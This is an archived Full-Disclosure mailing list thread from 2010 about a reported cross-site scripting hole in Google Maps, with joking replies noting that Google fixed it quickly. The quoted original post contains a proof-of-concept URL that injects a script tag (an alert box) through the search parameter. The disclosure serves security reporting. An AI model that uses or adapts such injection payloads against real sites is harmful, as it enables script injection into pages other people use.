full-disclosure - Re: Google Maps XSS (currently unpatched)

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite for Android: free password hash cracker in your pocket

[<prev] [next>] [<thread-prev] [thread-next>] [day] [month] [year] [list]

Date: Wed, 13 Jan 2010 02:07:38 +1100
From: dramacrat <yirimyah@...il.com>
To: Robin Sage <robin.sage@...ketmail.com>
Cc: full-disclosure@...ts.grok.org.uk
Subject: Re: Google Maps XSS (currently unpatched)

ah, Google...

the only company in IT that can have an unpatched vulnerability
released to the world and get good publicity out of it.

Don't get me wrong, I'm not in the GoogleSucksAndIsEvil crowd... I
have friends that work for them, and I like to see a company like them
doing well.

Still, I can't help but suspect that one day in 50 years, Larry Page
is going to be lying on his deathbed when out of a puff of smoke
appears the Devil, who raises his trident and says "So, Mr Page, about
that soul you signed away..."

On 13/01/2010, Robin Sage <robin.sage@...ketmail.com> wrote:
> Google was quick on that one! It worked an hour and a half ago.
>
> - Robin
>
>
>
>
> ________________________________
> From: gaurav baruah <baruah.gaurav@...il.com>
> To: full-disclosure@...ts.grok.org.uk
> Sent: Tue, January 12, 2010 6:20:32 AM
> Subject: [Full-disclosure] Google Maps XSS (currently unpatched)
>
> Google Maps XSS (currently unpatched)
>
> Discovered By -
> Pratul Agrawal (pratul2u@...il.com)
> Gaurav Baruah  (baruah.gaurav@...il.com)
>
>
> PoC -
> http://maps.google.com/maps?f=q&source=s_q&hl=en&geocode=&q=%3Cscript%3Ealert(%22Google%20Sucks%20!%22)%3C/script%3E&vps=1&sll=28.613554,77.20906&sspn=0.009136,0.013797&ie=UTF8
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
>
>
>
>

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/